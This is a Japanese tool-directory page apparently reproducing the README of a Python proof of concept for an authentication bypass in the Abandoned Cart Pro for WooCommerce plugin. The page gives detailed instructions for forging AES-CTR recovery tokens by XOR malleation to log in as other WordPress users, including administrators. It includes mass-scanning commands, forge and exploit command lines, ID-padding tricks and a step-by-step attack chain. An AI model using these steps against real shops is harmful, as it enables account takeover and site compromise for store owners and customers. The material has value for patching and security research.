Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-97657 — CVE-2026-97657 の Python PoC:XOR の可鍛性を利用して AES-CTR リカバリトークンを偽造し、Abandoned Cart Pro ≤10.8.0 で認証をバイパスして WordPress アカウントを乗っ取ります。 | Kitploit
ツール/GitHubGitHub/murrez/cve-2026-97657
特権昇格脆弱性スキャナー脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティ暗号化認証
GitHubmurrez/cve-2026-97657

CVE-2026-97657

CVE-2026-97657 の Python PoC:XOR の可鍛性を利用して AES-CTR リカバリトークンを偽造し、Abandoned Cart Pro ≤10.8.0 で認証をバイパスして WordPress アカウントを乗っ取ります。

リポジトリを見る
123日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-97657 — Abandoned Cart Pro for WooCommerce 認証バイパス

CVE-2026-97657 の Python 3 PoC — Abandoned Cart Pro for WooCommerce(Tyche Softwares)≤ 10.8.0。CNA: Wordfence。

製品Abandoned Cart Pro for WooCommerce
影響範囲≤ 10.8.0(10.8.0 より上の修正版にアップグレードしてください)
CWECWE-639 — ユーザー制御キーによる認可バイパス
CVSS 3.19.8 Critical
検証マーカーPOCBIT-97657-OK(セッション/管理者チェック)
PoCbithttps://pocbit.org/pocs/cve-2026-97657

説明

リカバリーリンクは MAC なしの AES-CTR トークン(Wcal_Aes_Ctr 互換レイアウト: 8 バイトの CTR ノンス + 暗号文、base64)を使用しています。プラグインは、攻撃者が制御可能な user_email クエリパラメータからメールごとの encrypt_key を読み込みます。wcap_email_track_links()(Pro 版。Lite 版の相当関数は wcal_email_track_links())では、wcap_nonce / HMAC チェックが wcap_nonce が空でない場合にのみ実行されるため、これを省略すると整合性検証がスキップされます。復号後、abandoned_id(カート行 ID)がそのメールに属することを証明せずに使用され、その後、自動ログインが有効(デフォルト)な場合に wp_set_auth_cookie() が実行されます。

自身のリマインダーメールから得た正規のリカバリー URL を 1 つ持つ未認証の攻撃者は、CTR 暗号文を XOR で改ざんして埋め込まれたカート ID を被害者の放棄カート ID(ソース ID と同じ長さ)に変更し、wcap_nonce なしで偽造 URL を開き、被害者(カートを放棄した管理者を含む)としてログインできます。

典型的な URL 形式(Pro 版):

GET /?wacp_action=checkout_link&[email protected]&validate=<token>

(wcap_action / wcal_action のバリアントが存在します。トラックリンクの URL には c= などの追加パラメータが含まれる場合があります。)


要件

cd CVE-2026-97657
pip install -r requirements.txt
  • Python 3.9+
  • 依存関係: requests、urllib3

使用概要

モード目的必須引数
check(デフォルト)プラグインの readme.txt を読み取り、バージョン ≤ 10.8.0 を検出-t URL または --list FILE
forge偽造リカバリ URL をローカルで生成(HTTP なし)--recovery-link、--source-cart-id、--target-cart-id
exploitトークン偽造 + HTTP GET + WordPress セッション検証forge と同じ

推奨ワークフロー(許可されたラボ環境):

  1. 一括または単一の check — プラグインスラッグ + バージョン ≤ 10.8.0 を確認。
  2. forge — トラフィックを送信する前に、カート ID のパディングと URL の形式を検証。
  3. exploit — 偽造リカバリ URL への GET を 1 回実行し、Cookie と /wp-admin/ を確認。

exploit/forge は -t / --list を使用しません。ターゲットホストは --recovery-link(スキーム + ホスト)から取得されます。


前提条件(exploit / forge)

要件理由
正規のリカバリ URL が 1 つ有効な CTR nonce + 暗号文、および(通常は)ac_sent_history 内の user_email / encrypt_key 行を提供する
プラグイン ≤ 10.8.0 で 自動ログイン が有効(デフォルト)パッチ済みビルドや自動ログイン無効化は wp_set_auth_cookie() をブロックする
放棄カート行を持つ、登録済みの被害者 WordPress ユーザー乗っ取りパスは ac_abandoned_cart_history の user_id でログインする。純粋なゲストカートは別の分岐を使用する
checkout_link URL を強く推奨平文は {abandoned_cart_id}&url=...。track_links トークンは email_sent_id をエンコードしており、カート ID ではない — ID 種別が誤っていると forge が破綻する
同一長の IDCTR XOR の可変性はバイトを 1:1 で反転するだけ。ゼロでパディングする(下記参照)

--recovery-link の取得

  1. ターゲットショップで、自分が管理するユーザーとして登録/ログインする。
  2. 商品をカートに追加し、チェックアウトを離脱する(放棄)。
  3. リマインダーメールを待つ(または、自分が所有するラボでカットオフタイマーを短縮する)。
  4. メールから完全な checkout_link をコピーする(有効な場合は webhooks / プラグインエクスポートからでも可)。

Pro の形式例(ベンダードキュメント / webhooks より):

https://shop.example/?wacp_action=checkout_link&validate=<base64-token>
https://shop.example/?wacp_action=checkout_link&[email protected]&validate=<token>
https://shop.example/?wacp_action=track_links&[email protected]&validate=<token>&c=<coupon-token>

メールに記載されているとおりに URL を正確に貼り付けてください(validate を含めます。クエリの順序は問いません)。

カート行 ID の取得

取得元フィールド
WooCommerce Abandoned Cart → Cart details(管理画面)放棄カート ID(DB 主キー)
Webhook ペイロード(wcap_cart、checkout_link コンテキスト)カートリソース上の "id": "383"
MySQL(ラボ)wp_ac_abandoned_cart_history.id(Pro のテーブルプレフィックスは異なる場合があります)

--source-cart-id は、あなたのトークンの平文に含まれる ID(あなたの放棄カート行)でなければなりません。--target-cart-id は、同じテーブル内の被害者の行です。

ゼロ埋め(同じ長さ)

PoC は長さが一致しない場合に拒否します。両方の ID を同じ桁数にゼロ埋めしてください:

取得元(あなた)ターゲット(被害者)OK?
383001はい(3 文字)
03830001はい(4 文字)
3831いいえ — 代わりに 0383 / 0001 で forge を実行してください

CLI リファレンス

フラグモード意味
-t, --targetcheckWordPress サイトのルート。例:https://shop.example.com
--list FILEcheck1 行につき 1 つのサイト URL。# コメントは無視されます
--modeallcheck(デフォルト)、forge、exploit
--recovery-link URLforge, exploitリマインダーメールに記載された完全なリカバリー URL
--source-cart-idforge, exploitあなたの放棄カート行 ID(トークン平文内)
--target-cart-idforge, exploit被害者の放棄カート行 ID(同じ文字列長)
-j Ncheck(リスト)並列ワーカー数(デフォルト 8)
--timeout SECcheck, exploitHTTP タイムアウト(デフォルト 15)
--insecurecheck, exploitTLS 証明書の検証を無効化
--jsonl FILEcheck, exploit実行ごとに 1 つの JSON オブジェクトを追記
--vuln-list FILEcheckバージョン ≤ 10.8.0 の URL を書き出す
-q, --quietallコンソール出力を減らす
--no-colorallプレーンなターミナル出力

終了コード

コード条件
0Exploit:success: true;forge:常に;check:常に(単一の -t)
1Exploit:ログイン/管理者の検証に失敗
2-t のセマンティクスなしで check リストを実行(情報提供)

check モード

python poc.py -t https://shop.example.com --mode check
python poc.py --list targets.example.txt --mode check -j 16 --vuln-list hits.txt --jsonl scan.jsonl

プローブ:

  • /wp-content/plugins/woocommerce-abandon-cart-pro/readme.txt
  • 代替スラッグ woocommerce-abandoned-cart-pro

Forgeモード(オフライン)

python poc.py --mode forge \
  --recovery-link "https://shop.example.com/?wacp_action=checkout_link&[email protected]&validate=..." \
  --source-cart-id "0383" \
  --target-cart-id "0001"

出力JSONには exploit_url が含まれます(validate からHMACサフィックスが除去され、nonceパラメータが削除されます)。

PoCはまた、元のリンクに存在していた場合、クエリから wcap_nonce / wcal_nonce を削除します。


エクスプロイトモード(--mode exploit)

ローカルでのトークン偽造を実行した後、単一の未認証HTTP GET(およびリダイレクトの追跡)を行います。WordPressの認証情報は送信されません。

攻撃チェーン(PoCが自動化する内容)

sequenceDiagram
  participant Att as Attacker PoC
  participant WP as WordPress + Pro plugin
  participant DB as Plugin DB

  Att->>Att: Parse recovery URL (validate, user_email, wacp_action)
  Att->>Att: Strip .hmac from validate if present
  Att->>Att: XOR-malleate cart ID in CTR ciphertext
  Att->>WP: GET forged URL (no wcap_nonce)
  WP->>DB: encrypt_key for user_email (attacker email)
  WP->>WP: AES-CTR decrypt → forged abandoned_id
  WP->>DB: Load user_id for abandoned_id (no ownership check)
  WP->>WP: wp_set_auth_cookie(victim) if auto-login on
  WP-->>Att: Set-Cookie + redirect (shop / checkout / my-account)
  Att->>WP: GET /wp-admin/ with session
  Att->>Att: success if logged-in cookies + admin/dashboard
  1. Parse --recovery-link — ホストがエクスプロイトのターゲットになり、クエリパラメータは変更される箇所を除いて保持されます。
  2. Strip HMAC — validate が ciphertext.64hex の場合、最初の . より前の部分のみが保持されます(レガシー/ダウングレード形式の blob)。
  3. Malleate — base64 デコードし、8 バイトの CTR nonce 以降のバイトを XOR して、平文のプレフィックスを source_cart_id から target_cart_id に変更します(&url= より前)。
  4. Rebuild URL — 新しい validate を設定し、wcap_nonce / wcal_nonce を削除します。
  5. GET 偽造 URL — 最大 6 回のリダイレクトを追跡し、wordpress_logged_in* / wordpress_sec* Cookie を収集します。
  6. Verify — 同じセッションで /wp-admin/ をリクエストし、wp-login.php に戻されず、ダッシュボードのマーカーが現れれば成功です。
ツールをダウンロード